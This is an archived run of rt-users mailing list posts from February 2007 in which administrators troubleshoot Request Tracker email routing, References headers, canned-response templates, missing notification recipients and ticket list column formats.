From pape-rt at inf.fu-berlin.de  Thu Feb 22 06:39:25 2007
From: pape-rt at inf.fu-berlin.de (Dirk Pape)
Date: Thu, 22 Feb 2007 12:39:25 +0100
Subject: [rt-users] RTFM 2.2.0RC4 vs. XHTML 1.0 and CSS 2,
	anyone did it already?
Message-ID: <1C6979B9C4A70A6885E71354@idefix.mi.fu-berlin.de>

Hello,

since rt 3.6.3 now produces XHTML 1.0 strict with CSS2, I wonder if anyone 
has already adjusted RTFM to do the same. Otherwise you produce mixed 
HTML/XHTML in many pages, where RTFM-Callback are integrated.

I just started correcting some of these and can complete so to provide a 
patch.

Is this welcomed?
Has anyone already done this?

Regards,
Dirk.
-- 
Dr. Dirk Pape (eAS - Projektleitung Campus Management)
Freie Universitaet Berlin
Grunewaldstr. 34a, 12165 Berlin
Tel. +49 (0)30 838 75143, Fax. +49 (0)30 838 54654


From jackc at teptin.net  Thu Feb 22 08:55:34 2007
From: jackc at teptin.net (Jan Korbel)
Date: Thu, 22 Feb 2007 14:55:34 +0100
Subject: [rt-users] Email problems - Association with Queue
In-Reply-To: <052b01c75666$8c91b240$835aa8c0@lenaindustria.glena>
References: <052b01c75666$8c91b240$835aa8c0@lenaindustria.glena>
Message-ID: <45DDA0D6.3090903@teptin.net>

You can create an email alias on mail server with destination address 
helpdesk at rt.mydomain.com or whatever you can.

J.

Carlos Silva wrote:
> 
> 
> Hi, I?ve followed the Wiki RHEL installguide,
> 
>  
> 
> http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide
> 
>  
> 
> But? there is one thing I want to do and don?t understand how!
> 
>  
> 
> I have a server that?s rt.mydomain.com, and other that is 
> mail.mydomain.com, that is the mail server of my domain.
> 
>  
> 
> I want that mail that is sent to helpdesk at mydomain.com 
> <mailto:helpdesk at mydomain.com> in server mail.mydomain.com to be linked 
> to the Helpdesk queue in rt.mydomain.com.
> 
>  
> 
> How do I configure this? It seems very simple, but yet, I don?t know how 
> to do it in RT ...
> 
>  
> 
> Best Regards,
> 
> Carlos Bruno
> 
>  
> 
>  
> 
>  
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From iounes.gardon at mikrosimage.fr  Thu Feb 22 09:02:37 2007
From: iounes.gardon at mikrosimage.fr (Iounes GARDON /iog .Y)
Date: Thu, 22 Feb 2007 15:02:37 +0100
Subject: [rt-users] References header missing on AutoreplyOnResolve
Message-ID: <fc.006ad24600899ca1006ad24600899ca1.899cb9@mikrosimage.fr>

Hello,


I'm using RT 3.6.3 at my work and I need some help and/or explanation.
When a ticket is closed, we want to send a mail to the requestor. A
classic behaviour of RT.
I noticed that the References header aren't set properly on mails sent by
RT himself. I need this absolutely.

A user send a mail to open a new ticket :
The Message-ID looks like :
<lv.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxx at domain.com>

When a user reply to the requestor through RT, the References header is
set properly.
The Message-ID looks like :
<rt.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxx at domain2.org>

When the same user close the ticket, the mail sent by RT to notify the
requestor that his ticket is closed doesn't contain the references header.
The Message-ID looks like :
<rt.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxx at domain2.org>

domain2.org is set in the RT_SiteConfig.pm
Set($Organization , "domain2.org");


I've seen in the rt3/lib/RT/Action/SendEmail.pm that the code involved for
setting References header is the following :

sub SetReferencesHeaders {

...........

    # There are two main cases -- this transaction was created with
    # the RT Web UI, and hence we want to *not* append its Message-ID
    # to the References and In-Reply-To.  OR it came from an outside
    # source, and we should treat it as per the RFC
    if ( "@msgid" =~ /<(rt-.*?-\d+-\d+)\.(\d+-0-0)\@$RT::Organization>/) {

      # Make all references which are internal be to version which we
      # have sent out
      for (@references, @in_reply_to) {
        s/<(rt-.*?-\d+-\d+)\.(\d+-0-0)\@$RT::Organization>$/
          "<$1." . $self->TicketObj->id .
             "-" . $self->ScripObj->id .
             "-" . $self->ScripActionObj->{_Message_ID} .
             "@" . $RT::Organization . ">"/eg
      }

      # In reply to whatever the internal message was in reply to
      $self->SetHeader( 'In-Reply-To', join( " ",  ( @in_reply_to )));

      # Default the references to whatever we're in reply to
      @references = @in_reply_to unless @references;

      # References are unchanged from internal
    } else {
      # In reply to that message
      $self->SetHeader( 'In-Reply-To', join( " ",  ( @msgid )));

      # Default the references to whatever we're in reply to
      @references = @in_reply_to unless @references;

      # Push that message onto the end of the references
      push @references, @msgid;
    }

...........................

}

I'm not experienced in perl so..... I can't figure out what's wrong with
this References header. How can I resolve this please?




From cbsilva at student.dei.uc.pt  Thu Feb 22 09:35:48 2007
From: cbsilva at student.dei.uc.pt (Carlos Silva)
Date: Thu, 22 Feb 2007 14:35:48 -0000
Subject: [rt-users] Email problems - Association with Queue
In-Reply-To: <45DDA0D6.3090903@teptin.net>
References: <052b01c75666$8c91b240$835aa8c0@lenaindustria.glena>
	<45DDA0D6.3090903@teptin.net>
Message-ID: <05ed01c7568e$c11a9cc0$835aa8c0@lenaindustria.glena>

Yes, I can. But there is a think that I'm still missing... 

Let's suppose I create, via the web interface, a Queue named Queue1.

>From that moment, without any other config,  It's supposed for me to receive
in rt the emails sent to queue1 at rt.mydomain.com ???

It's not happening... 

Regards,
Carlos Silva





-----Mensagem original-----
De: Jan Korbel [mailto:jackc at teptin.net] 
Enviada: quinta-feira, 22 de Fevereiro de 2007 13:56
Para: Carlos Silva
Cc: rt-users at lists.bestpractical.com
Assunto: Re: [rt-users] Email problems - Association with Queue

You can create an email alias on mail server with destination address 
helpdesk at rt.mydomain.com or whatever you can.

J.

Carlos Silva wrote:
> 
> 
> Hi, I've followed the Wiki RHEL installguide,
> 
>  
> 
> http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide
> 
>  
> 
> But. there is one thing I want to do and don't understand how!
> 
>  
> 
> I have a server that's rt.mydomain.com, and other that is 
> mail.mydomain.com, that is the mail server of my domain.
> 
>  
> 
> I want that mail that is sent to helpdesk at mydomain.com 
> <mailto:helpdesk at mydomain.com> in server mail.mydomain.com to be linked 
> to the Helpdesk queue in rt.mydomain.com.
> 
>  
> 
> How do I configure this? It seems very simple, but yet, I don't know how 
> to do it in RT ...
> 
>  
> 
> Best Regards,
> 
> Carlos Bruno
> 
>  
> 
>  
> 
>  
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
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From sturner at MIT.EDU  Thu Feb 22 10:16:07 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Thu, 22 Feb 2007 10:16:07 -0500
Subject: [rt-users] Canned Responses
In-Reply-To: <2ACF6489BC112B4F9C8956BADB9228E60576250D@ASHEVS005.mcilink .com>
References: <2ACF6489BC112B4F9C8956BADB9228E6057620FB@ASHEVS005.mcilink.com>
	<6.2.3.4.2.20070221120513.03d053a0@po14.mit.edu>
	<2ACF6489BC112B4F9C8956BADB9228E60576250D@ASHEVS005.mcilink.com>
Message-ID: <6.2.3.4.2.20070222100733.03cc2b40@po14.mit.edu>

At Wednesday 2/21/2007 03:35 PM, Dalal, Kamber Z (Kamber) wrote:
>Steve,
>
>Thank you for the assistance.  Please excuse my ignorance,
>
>In the wiki you mentioned:
>"One limitation is that the transaction object can't be used in the
>template - I just pass in a blank transaction object to the template
>parsing routine."
>
>I believe that is what is now in the way.  In one of the templates the
>first line of the content is:
>Subject: Notify: ($Ticket->Subject)
>
>And in the second template's content I left the first 3 lines blank.
>
>What do you mean by "I just pass in a blank transaction object to the
>template parsing routine."
>
>
>Thank you,
>Kamber

Kamber,

In the usual RT usage of templates (i.e. in creating email messages), 
there's a transaction object available to the template, and it's 
referenced by $Transaction.

In my canned replies code, there is no associated transaction - the 
code is executed in the context of a ticket, not a transaction. 
However, the Template->parse() method expects a transaction object as 
an argument. So I create a blank, or empty, transaction object and 
pass that in:

my $trans = new RT::Transaction( $session{'CurrentUser'} );

$template->Parse(TicketObj => $TicketObj,
                              TransactionObj => $trans);

So you should be fine as long as you don't use $Transaction in the templates.

Steve 



From jboris at adphila.org  Thu Feb 22 10:06:18 2007
From: jboris at adphila.org (John  BORIS)
Date: Thu, 22 Feb 2007 10:06:18 -0500
Subject: [rt-users] Email problems - Association with Queue
Message-ID: <s5dd6b20.033@gw1.adphila.org>

Carlos,
You have to create the alias on the server in the mail aliases file.
Look up the man page for aliases for your flavor of UNIX and make those
changes. On Red hat it is in /etc/aliases. Then when you are finished
you have to run newaliases for it to take effect. I believe this is
spelled out in the rt-mailgate instructions.

John J. Boris, Sr.
JEN-A-SyS Administrator
Archdiocese of Philadelphia

"Remember! That light at the end of the tunnel
Just might be the headlight of an oncoming train!"

>>> "Carlos Silva" <cbsilva at student.dei.uc.pt> 02/22/07 9:35 AM >>>
Yes, I can. But there is a think that I'm still missing... 

Let's suppose I create, via the web interface, a Queue named Queue1.

>From that moment, without any other config,  It's supposed for me to
receive
in rt the emails sent to queue1 at rt.mydomain.com ???

It's not happening... 

Regards,
Carlos Silva





-----Mensagem original-----
De: Jan Korbel [mailto:jackc at teptin.net] 
Enviada: quinta-feira, 22 de Fevereiro de 2007 13:56
Para: Carlos Silva
Cc: rt-users at lists.bestpractical.com 
Assunto: Re: [rt-users] Email problems - Association with Queue

You can create an email alias on mail server with destination address 
helpdesk at rt.mydomain.com or whatever you can.

J.

Carlos Silva wrote:
> 
> 
> Hi, I've followed the Wiki RHEL installguide,
> 
>  
> 
> http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide 
> 
>  
> 
> But. there is one thing I want to do and don't understand how!
> 
>  
> 
> I have a server that's rt.mydomain.com, and other that is 
> mail.mydomain.com, that is the mail server of my domain.
> 
>  
> 
> I want that mail that is sent to helpdesk at mydomain.com 
> <mailto:helpdesk at mydomain.com> in server mail.mydomain.com to be
linked 
> to the Helpdesk queue in rt.mydomain.com.
> 
>  
> 
> How do I configure this? It seems very simple, but yet, I don't know
how 
> to do it in RT ...
> 
>  
> 
> Best Regards,
> 
> Carlos Bruno
> 
>  
> 
>  
> 
>  
> 
> 
>
------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users 
> 
> Community help: http://wiki.bestpractical.com 
> Commercial support: sales at bestpractical.com 
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.

> Buy a copy at http://rtbook.bestpractical.com 



From bruset at gridapp.com  Thu Feb 22 10:27:32 2007
From: bruset at gridapp.com (Ben Ruset)
Date: Thu, 22 Feb 2007 10:27:32 -0500
Subject: [rt-users] No recipients found. Not sending.
Message-ID: <C0A5E31718FC064A91E9FD7BE2F081B1AB8947@exchange.gridapp.com>

I recently setup RT and for the most part am loving it. I have been
bitten by a nasty bug.

I have RT set to authenticate users via LDAP. This is working with no
problem. A user can create a ticket via email and be emailed back an
autoresponder. 

The problem is, if they add a comment to the ticket, it gets added to
the ticket but no auto response gets sent back out to the user. I also
created a scrip to notify the ticket owner if there is a comments on the
ticket. In those cases I am getting the following errors in my RT log:

[Thu Feb 22 14:49:36 2007] [info]:
<rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> #36/430 - Scrip 5
(/opt/rt3/lib/RT/Action/SendEmail.pm:243)
[Thu Feb 22 14:49:36 2007] [info]:
<rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> No recipients found.
Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
[Thu Feb 22 14:49:36 2007] [info]:
<rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> #36/430 - Scrip 6
(/opt/rt3/lib/RT/Action/SendEmail.pm:243)
[Thu Feb 22 14:49:36 2007] [info]:
<rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> No recipients found.
Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
[Thu Feb 22 14:49:36 2007] [info]:
<rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> #36/430 - Scrip 7
(/opt/rt3/lib/RT/Action/SendEmail.pm:243)
[Thu Feb 22 14:49:36 2007] [info]:
<rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> No recipients found.
Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
[Thu Feb 22 14:49:36 2007] [info]:
<rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> #36/430 - Scrip 16
(/opt/rt3/lib/RT/Action/SendEmail.pm:243)
[Thu Feb 22 14:49:36 2007] [info]:
<rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> No recipients found.
Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)

Scrip 16 is the one to notify the ticket owner if the requestor has
updated the ticket.

This is RT 3.6.3, running on CentOS 4.4 32 bit.

Ben Ruset
IT Manager, GridApp Systems
email: bruset at gridapp.com
tel: 646-452-4042
web: http://www.gridapp.com

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From sarah at bottlenose-wine.com  Thu Feb 22 10:46:49 2007
From: sarah at bottlenose-wine.com (Sarah Pomerantz)
Date: Thu, 22 Feb 2007 10:46:49 -0500
Subject: [rt-users] Query Builder Display Columns
Message-ID: <4647A044-D9F9-49E7-8982-01BD973137A3@bottlenose-wine.com>

Running RT 3.6.3, recently installed. I am assisting our IT  
department in the configuration.

Using the web interface, I have created a custom query so that users  
can view tickets with recent activity on the "at a glance" page.

  Owner = '__CurrentUser__' AND  (  Status = 'new' OR Status = 'open' )
'<a>__id__</a>/TITLE:#',
'<a>__Subject__</a>/TITLE:Subject',
'__LastUpdated__',
'__Priority__',
'__QueueName__',
'__ExtendedStatus__'

One problem is that the id and Subject fields are not displaying as  
links. The tickets listed on the "at a glance" page under this custom  
query are not clickable text. Please advise how I can modify the  
query so that the id and Subject fields are links to display the  
appropriate ticket (not take the ticket).

I also would like to know how to modify the Order by: settings at the  
global level. I am able to modify my own preferences so that the  
results are ordered by LastUpdated Desc. However I haven't been able  
to figure out how to save that setting as part of the RT System's  
saved search.

Please let me know if there is any other information I can provide. I  
have already checked the RT Essentials O'Reilly book for info on  
creating custom queries, as well as the rt-users mailing list  
archive. If I have overlooked a solution from one of these resources,  
please let me know. Thank you very much.

Sarah Pomerantz
sarah at bottlenose-wine.com


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From kellermg at potsdam.edu  Thu Feb 22 10:50:02 2007
From: kellermg at potsdam.edu (Matthew Keller)
Date: Thu, 22 Feb 2007 10:50:02 -0500
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <C0A5E31718FC064A91E9FD7BE2F081B1AB8947@exchange.gridapp.com>
References: <C0A5E31718FC064A91E9FD7BE2F081B1AB8947@exchange.gridapp.com>
Message-ID: <1172159402.3948.97.camel@mlap>

Is the requestor and the owner the same person? Are you using custom
conditions or actions? If so can you post them please?

On Thu, 2007-02-22 at 10:27 -0500, Ben Ruset wrote:
> I recently setup RT and for the most part am loving it. I have been
> bitten by a nasty bug.
> 
> I have RT set to authenticate users via LDAP. This is working with no
> problem. A user can create a ticket via email and be emailed back an
> autoresponder. 
> 
> The problem is, if they add a comment to the ticket, it gets added to
> the ticket but no auto response gets sent back out to the user. I also
> created a scrip to notify the ticket owner if there is a comments on
> the ticket. In those cases I am getting the following errors in my RT
> log:
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> #36/430 - Scrip 5
> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> No recipients
> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> #36/430 - Scrip 6
> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> No recipients
> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> #36/430 - Scrip 7
> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> No recipients
> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> #36/430 - Scrip 16
> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> No recipients
> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
> 
> Scrip 16 is the one to notify the ticket owner if the requestor has
> updated the ticket.
> 
> This is RT 3.6.3, running on CentOS 4.4 32 bit.
> 
> Ben Ruset 
> IT Manager, GridApp Systems 
> email: bruset at gridapp.com 
> tel: 646-452-4042 
> web: http://www.gridapp.com
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com



From bruset at gridapp.com  Thu Feb 22 10:56:57 2007
From: bruset at gridapp.com (Ben Ruset)
Date: Thu, 22 Feb 2007 10:56:57 -0500
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <1172159402.3948.97.camel@mlap>
Message-ID: <C0A5E31718FC064A91E9FD7BE2F081B1AB894C@exchange.gridapp.com>

In this particular case, yes. However the problem happens when when the
requestor and owner are different people.

I am not using any custom conditions or actions either. Everything
(apart from a customized template or two, and the LDAP overlay) is bone
stock. 


Ben Ruset
IT Manager, GridApp Systems
email: bruset at gridapp.com
tel: 646-452-4042
web: http://www.gridapp.com

-----Original Message-----
From: Matthew Keller [mailto:kellermg at potsdam.edu] 
Sent: Thursday, February 22, 2007 10:50 AM
To: Ben Ruset
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] No recipients found. Not sending.

Is the requestor and the owner the same person? Are you using custom
conditions or actions? If so can you post them please?

On Thu, 2007-02-22 at 10:27 -0500, Ben Ruset wrote:
> I recently setup RT and for the most part am loving it. I have been 
> bitten by a nasty bug.
> 
> I have RT set to authenticate users via LDAP. This is working with no 
> problem. A user can create a ticket via email and be emailed back an 
> autoresponder.
> 
> The problem is, if they add a comment to the ticket, it gets added to 
> the ticket but no auto response gets sent back out to the user. I also

> created a scrip to notify the ticket owner if there is a comments on 
> the ticket. In those cases I am getting the following errors in my RT
> log:
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> #36/430 - Scrip 5
> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> No recipients 
> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> #36/430 - Scrip 6
> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> No recipients 
> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> #36/430 - Scrip 7
> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> No recipients 
> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> #36/430 - Scrip 16
> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
> 
> [Thu Feb 22 14:49:36 2007] [info]:
> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> No recipients 
> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
> 
> Scrip 16 is the one to notify the ticket owner if the requestor has 
> updated the ticket.
> 
> This is RT 3.6.3, running on CentOS 4.4 32 bit.
> 
> Ben Ruset
> IT Manager, GridApp Systems
> email: bruset at gridapp.com
> tel: 646-452-4042
> web: http://www.gridapp.com
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com Commercial support: 
> sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com



From KFCrocker at lbl.gov  Thu Feb 22 13:31:57 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Thu, 22 Feb 2007 10:31:57 -0800
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <C0A5E31718FC064A91E9FD7BE2F081B1AB894C@exchange.gridapp.com>
References: <C0A5E31718FC064A91E9FD7BE2F081B1AB894C@exchange.gridapp.com>
Message-ID: <45DDE19D.4060402@lbl.gov>

Ben,


	If there is a problem with the template, I don't believe the E_mail 
will be sent. The only other thing I can think of is if the UserId for 
the owner is NOT a privileged user and you have not allowed unprivileged 
users to get mail. Hope this helps.


Kenn
LBNL

Ben Ruset wrote:
> In this particular case, yes. However the problem happens when when the
> requestor and owner are different people.
> 
> I am not using any custom conditions or actions either. Everything
> (apart from a customized template or two, and the LDAP overlay) is bone
> stock. 
> 
> 
> Ben Ruset
> IT Manager, GridApp Systems
> email: bruset at gridapp.com
> tel: 646-452-4042
> web: http://www.gridapp.com
> 
> -----Original Message-----
> From: Matthew Keller [mailto:kellermg at potsdam.edu] 
> Sent: Thursday, February 22, 2007 10:50 AM
> To: Ben Ruset
> Cc: rt-users at lists.bestpractical.com
> Subject: Re: [rt-users] No recipients found. Not sending.
> 
> Is the requestor and the owner the same person? Are you using custom
> conditions or actions? If so can you post them please?
> 
> On Thu, 2007-02-22 at 10:27 -0500, Ben Ruset wrote:
>> I recently setup RT and for the most part am loving it. I have been 
>> bitten by a nasty bug.
>>
>> I have RT set to authenticate users via LDAP. This is working with no 
>> problem. A user can create a ticket via email and be emailed back an 
>> autoresponder.
>>
>> The problem is, if they add a comment to the ticket, it gets added to 
>> the ticket but no auto response gets sent back out to the user. I also
> 
>> created a scrip to notify the ticket owner if there is a comments on 
>> the ticket. In those cases I am getting the following errors in my RT
>> log:
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> #36/430 - Scrip 5
>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-5-0 at gridapp.com> No recipients 
>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> #36/430 - Scrip 6
>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-6-0 at gridapp.com> No recipients 
>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> #36/430 - Scrip 7
>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-7-0 at gridapp.com> No recipients 
>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> #36/430 - Scrip 16
>> (/opt/rt3/lib/RT/Action/SendEmail.pm:243)
>>
>> [Thu Feb 22 14:49:36 2007] [info]:
>> <rt-3.6.3-16689-1172155775-895.36-16-0 at gridapp.com> No recipients 
>> found. Not sending. (/opt/rt3/lib/RT/Action/SendEmail.pm:255)
>>
>> Scrip 16 is the one to notify the ticket owner if the requestor has 
>> updated the ticket.
>>
>> This is RT 3.6.3, running on CentOS 4.4 32 bit.
>>
>> Ben Ruset
>> IT Manager, GridApp Systems
>> email: bruset at gridapp.com
>> tel: 646-452-4042
>> web: http://www.gridapp.com
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com Commercial support: 
>> sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 
> 


From cabal at u.washington.edu  Thu Feb 22 14:33:57 2007
From: cabal at u.washington.edu (John H. Nyhuis)
Date: Thu, 22 Feb 2007 11:33:57 -0800 (PST)
Subject: [rt-users] Q: Modifying /Elements/MyTickets to include 'requestor'
Message-ID: <Pine.LNX.4.64.0702221126080.17997@homer21.u.washington.edu>

 	Greetings,

 	I am running RT 3.4.5, and would like to modify Elements/MyTickets to 
include a Requestor column so techs can see at a glance who submitted the 
ticket.  I've tried modifying line 44 in MyTickets to include this, but while 
the column is created, it is not populated.

         Format => "'<a href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__id__</a>/TITLE:#',
'<a href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__Subject__</a>/TITLE:Subject',
'<a href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__Requestor__</a>/TITLE:Requestor', 
QueueName, ExtendedStatus",

and

         Format => "'<a href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__id__</a>/TITLE:#',
'<a href=\"$RT::WebPath/Ticket/Display.html?id=__id__\">__Subject__</a>/TITLE:Subject',
Requestor, QueueName, ExtendedStatus",


 	I suspect that I have the field name wrong for the ticket requestors. 
Can anyone tell me what the field name is in RT3.4 or give me another 
suggestion for how to fix this?

 	Thanks in advance,

John H. Nyhuis
IT Manager
Dept. of Pediatrics
HS RR541C, Box 356320
University of Washington
Desk: (206)-685-3884
jnyhuis at u.washington.edu


From bruset at gridapp.com  Thu Feb 22 15:37:38 2007
From: bruset at gridapp.com (Ben Ruset)
Date: Thu, 22 Feb 2007 15:37:38 -0500
Subject: [rt-users] No recipients found. Not sending.
In-Reply-To: <45DDE19D.4060402@lbl.gov>
Message-ID: <C0A5E31718FC064A91E9FD7BE2F081B1AB8957@exchange.gridapp.com>

The only template that I have changed was just the autoreply one, and
that was just slight rewording.

Am I right in assuming that the workflow of tickets should work like
this:

1. User sends a helpdesk request
2. RT sends an autoresponse
3. User can send a reply back to RT with the [Blah #XXX] number in the
subject
3a. RT will attach their correspondance to the ticket (shows in the web
UI)
3b. RT will send an autoresponse back to the requestor

What I am seeing is that 3b. is not working. Also, I would assume that
RT should send an email to the ticket owner to let them know that there
has been an update to the ticket. In my case, that's not happening.

If it helps diagnose, I can post the output of any log entry or config
file. Everything *looks* like it should work, but for whatever reason,
it's not.


Ben Ruset
IT Manager, GridApp Systems
email: bruset at gridapp.com
tel: 646-452-4042
web: http://www.gridapp.com

-----Original Message-----
From: Kenneth Crocker [mailto:KFCrocker at lbl.gov] 
Sent: Thursday, February 22, 2007 1:32 PM
To: Ben Ruset
Cc: Matthew Keller; rt-users at lists.bestpractical.com
Subject: Re: [rt-users] No recipients found. Not sending.

Ben,


	If there is a problem with the template, I don't believe the
E_mail will be sent. The only other thing I can think of is if the
UserId for the owner is NOT a privileged user and you have not allowed
unprivileged users to get mail. Hope this helps.


Kenn
LBNL

Ben Ruset wrote:
> In this particular case, yes. However the problem happens when when 
> the requestor and owner are different people.
> 
> I am not using any custom conditions or actions either. Everything 
> (apart from a customized template or two, and the LDAP overlay) is 
> bone stock.
> 
> 
> Ben Ruset
> IT Manager, GridApp Systems
> email: bruset at gridapp.com
> tel: 646-452-4042
> web: http://www.gridapp.com
> 
> -----Original Message-----
> From: Matthew Keller [mailto:kellermg at potsdam.edu]
> Sent: Thursday, February 22, 2007 10:50 AM
> To: Ben Ruset
> Cc: rt-users at lists.bestpractical.com
> Subject: Re: [rt-users] No recipients found. Not sending.
> 
> Is the requestor and the owner the same person? Are you using custom 
> conditions or actions? If so can you post them please?
> 
> On Thu, 2007-02-22 at 10:27 -0500, Ben Ruset wrote:
>> I recently setup RT and for the most part am loving it. I have been 
>> bitten by a nasty bug.
>>
